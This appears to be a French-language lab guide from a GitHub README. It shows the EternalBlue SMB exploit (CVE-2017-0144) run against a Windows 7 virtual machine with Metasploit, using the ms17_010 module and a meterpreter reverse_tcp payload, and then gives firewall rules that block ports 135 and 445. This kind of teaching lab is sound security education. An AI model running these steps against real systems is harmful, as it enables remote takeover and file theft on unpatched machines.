luckyman2907/smb-protocol-vulnerability_cve-2017-0144Guide de laboratoire étape par étape démontrant l'exploit EternalBlue (CVE-2017-0144) contre le protocole SMB de Windows 7 en utilisant Metasploit, incluant les étapes de configuration, d'exploitation et d'atténuation.
LAB: ATTAQUE DU SYSTÈME D'EXPLOITATION WINDOWS BASÉE SUR LA VULNÉRABILITÉ DU PROTOCOLE SMB.
Dans ce laboratoire, nous utiliserons deux ordinateurs pour simuler une attaque basée sur la vulnérabilité du protocole SMB du système d’exploitation Windows. Un ordinateur exécutant Kali Linux joue le rôle de l’attaquant (hacker). Et un ordinateur joue le rôle de la machine victime (victim). La machine victime exécute Windows 7 64 bits contenant la vulnérabilité SMB. Pour ce faire, sur la machine Kali Linux, nous utiliserons le code d’exploitation nommé EternalBlue pour attaquer la machine Windows 7.
Server Message Block (SMB) est un protocole de partage de fichiers assez répandu sur la plateforme Windows de Microsoft. Grâce à ce protocole SMB, les ordinateurs Windows connectés entre eux sur un même réseau ou dans un même domaine peuvent partager des fichiers. À ce jour, SMB est également connu sous le nom de Common Internet File Sharing (CIFS).
EternalBlue est un code d’exploitation basé sur la vulnérabilité du protocole SMB via le port 445. Initialement, EternalBlue a été développé par l’Agence de Sécurité Nationale des États-Unis (NSA). Son nom complet en anglais est U.S. National Security Agency. Mais par la suite, il a été divulgué par le groupe de hackers The Shadow Brokens en 2017. La même année, une vague d’attaques massives par virus de chiffrement de données – ransomware, visant les ordinateurs Windows de Microsoft, s’est produite dans le monde entier. Parmi eux, le plus célèbre reste le virus WannaCry. À ce jour, bien que cette vulnérabilité ait été corrigée par Microsoft via le correctif de sécurité MS17-010, un grand nombre d’ordinateurs exécutant Windows dans le monde présentent encore cette vulnérabilité. Celle-ci a été publiée sous la référence CVE-2017-0144 (Windows SMB Remote Code Execution Vulnerability). Cette vulnérabilité est extrêmement dangereuse et très facile à exploiter. Il est à noter que pour attaquer via cette vulnérabilité du protocole SMB, le hacker n’a pas besoin d’envoyer ou d’inciter la victime à télécharger ou à exécuter un quelconque virus malveillant. Autrement dit, même si la victime ne fait rien, elle peut être facilement attaquée et voir son ordinateur pris en main par le hacker sans même s’en rendre compte.
Préparer 02 machines virtuelles fonctionnant sous VMware Workstation :
Sur la machine virtuelle Kali (attaquante) :
ifconfigservice postgresql startservice postgresql statusSur la machine virtuelle Windows 7 (victime) :
ipconfigmsfconsole
search ms17_010
use 0 -> set payload windows/x64/meterpreter/reverse_tcp
=> À ce stade, le hacker a réussi à pénétrer la machine victime. Il peut alors supprimer ou voler des fichiers de la machine victime à son insu. Il peut même télécharger et exécuter un virus directement sur celle-ci.
Pour éviter d’être exploité via le protocole SMB, il est nécessaire d’effectuer les opérations suivantes :
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"